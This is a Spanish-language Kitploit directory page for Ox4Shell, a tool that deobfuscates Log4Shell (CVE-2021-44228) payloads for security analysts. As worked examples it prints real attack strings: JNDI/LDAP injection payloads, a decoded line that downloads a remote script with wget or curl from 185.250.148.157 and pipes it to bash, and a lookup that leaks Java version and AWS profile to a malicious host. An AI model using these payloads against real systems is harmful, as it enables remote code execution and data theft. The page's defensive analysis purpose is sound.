Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Ox4Shell — Desofusca cargas de Log4Shell con facilidad. | Kitploit
Herramientas/GitHubGitHub/ox-eye/ox4shell
Análisis de VulnerabilidadesAnálisis de Registros
GitHubox-eye/ox4shell

Ox4Shell

Desofusca cargas de Log4Shell con facilidad.

Ver Repositorio
167192hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Logo-LightLogo-Dark


maintained-oxeye python-3.8 version-1.1 license-mit blackhat-arsenal

Ox4Shell

Desofusca cargas útiles de Log4Shell con facilidad.

Descripción

Desde el lanzamiento de la vulnerabilidad Log4Shell (CVE-2021-44228), se crearon muchas herramientas para ofuscar cargas útiles de Log4Shell, haciendo la vida de los ingenieros de seguridad una pesadilla.

Esta herramienta pretende desvelar el verdadero contenido de las cargas útiles ofuscadas de Log4Shell.

Por ejemplo, considere la siguiente carga útil ofuscada:

root@kitploit:~
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
Descargar herramienta

Después de ejecutar Ox4Shell, se transformaría en una forma intuitiva y legible:

root@kitploit:~
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}

Esta herramienta también ayuda a identificar y decodificar comandos base64. Por ejemplo, considere la siguiente carga útil ofuscada:

root@kitploit:~
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}

Después de ejecutar Ox4Shell, la herramienta revela las intenciones del atacante:

root@kitploit:~
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash

⚠️ Recomendamos ejecutar Ox4Shell con un archivo proporcionado (-f) en lugar de una carga útil en línea (-p), porque ciertos entornos de shell escaparán caracteres importantes, por lo tanto, producirán resultados inexactos.

Uso

Para ejecutar la herramienta simplemente:

root@kitploit:~
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)

   ____       _  _   _____ _          _ _ 
  / __ \     | || | / ____| |        | | |
 | |  | |_  _| || || (___ | |__   ___| | |
 | |  | \ \/ /__   _\___ \| '_ \ / _ \ | |
 | |__| |>  <   | | ____) | | | |  __/ | |
  \____//_/\_\  |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate Log4Shell payloads with ease.
    Created by https://oxeye.io

General:
  -h, --help            Show this help message and exit
  -d, --debug           Enable debug mode (default: False)
  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
  --max-depth MAX_DEPTH
                        The maximum number of iteration to perform on a given payload (default: 150)
  --decode-base64       Payloads containing base64 will be decoded (default: False)

Targets:
  Choose which target payloads to run Ox4Shell on

  -p PAYLOAD, --payload PAYLOAD
                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)
  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None)

Datos de Simulación

La biblioteca Log4j tiene algunas funciones de búsqueda únicas, que permiten a los usuarios consultar variables de entorno, información de tiempo de ejecución sobre el proceso de Java, etc. Esta capacidad otorga a los actores de amenazas la capacidad de sondear información específica que puede identificar de manera única la máquina comprometida a la que apuntaron.

Ox4Shell usa el archivo mock.json para insertar valores comunes en ciertas funciones de búsqueda, por ejemplo, si la carga útil contiene el valor ${env:HOME}, podemos reemplazarlo con un valor de simulación personalizado.

El conjunto predeterminado de datos de simulación proporcionado es:

root@kitploit:~
{
    "hostname": "ip-127.0.0.1",
    "env": {
        "aws_profile": "staging",
        "user": "ubuntu",
        "pwd": "/opt/",
        "path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
    },
    "sys": {
        "java.version": "16.0.2",
        "user.name": "ubuntu"
    },
    "java": {
        "version": "Java version 16.0.2",
        "runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
        "vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
        "os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
        "locale": "default locale: en_US, platform encoding: UTF-8",
        "hw": "processors: 1, architecture: amd64-64"
    }
}

Como ejemplo, podemos desofuscar la siguiente carga útil usando la capacidad de simulación de Ox4Shell:

root@kitploit:~
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"  
${jndi:ldap://16.0.2.staging.malicious.server/a}

Autores

  • Daniel Abeles
  • Ron Vider

Licencia

El código fuente del proyecto está licenciado bajo la licencia MIT, que puedes encontrar en el archivo LICENSE.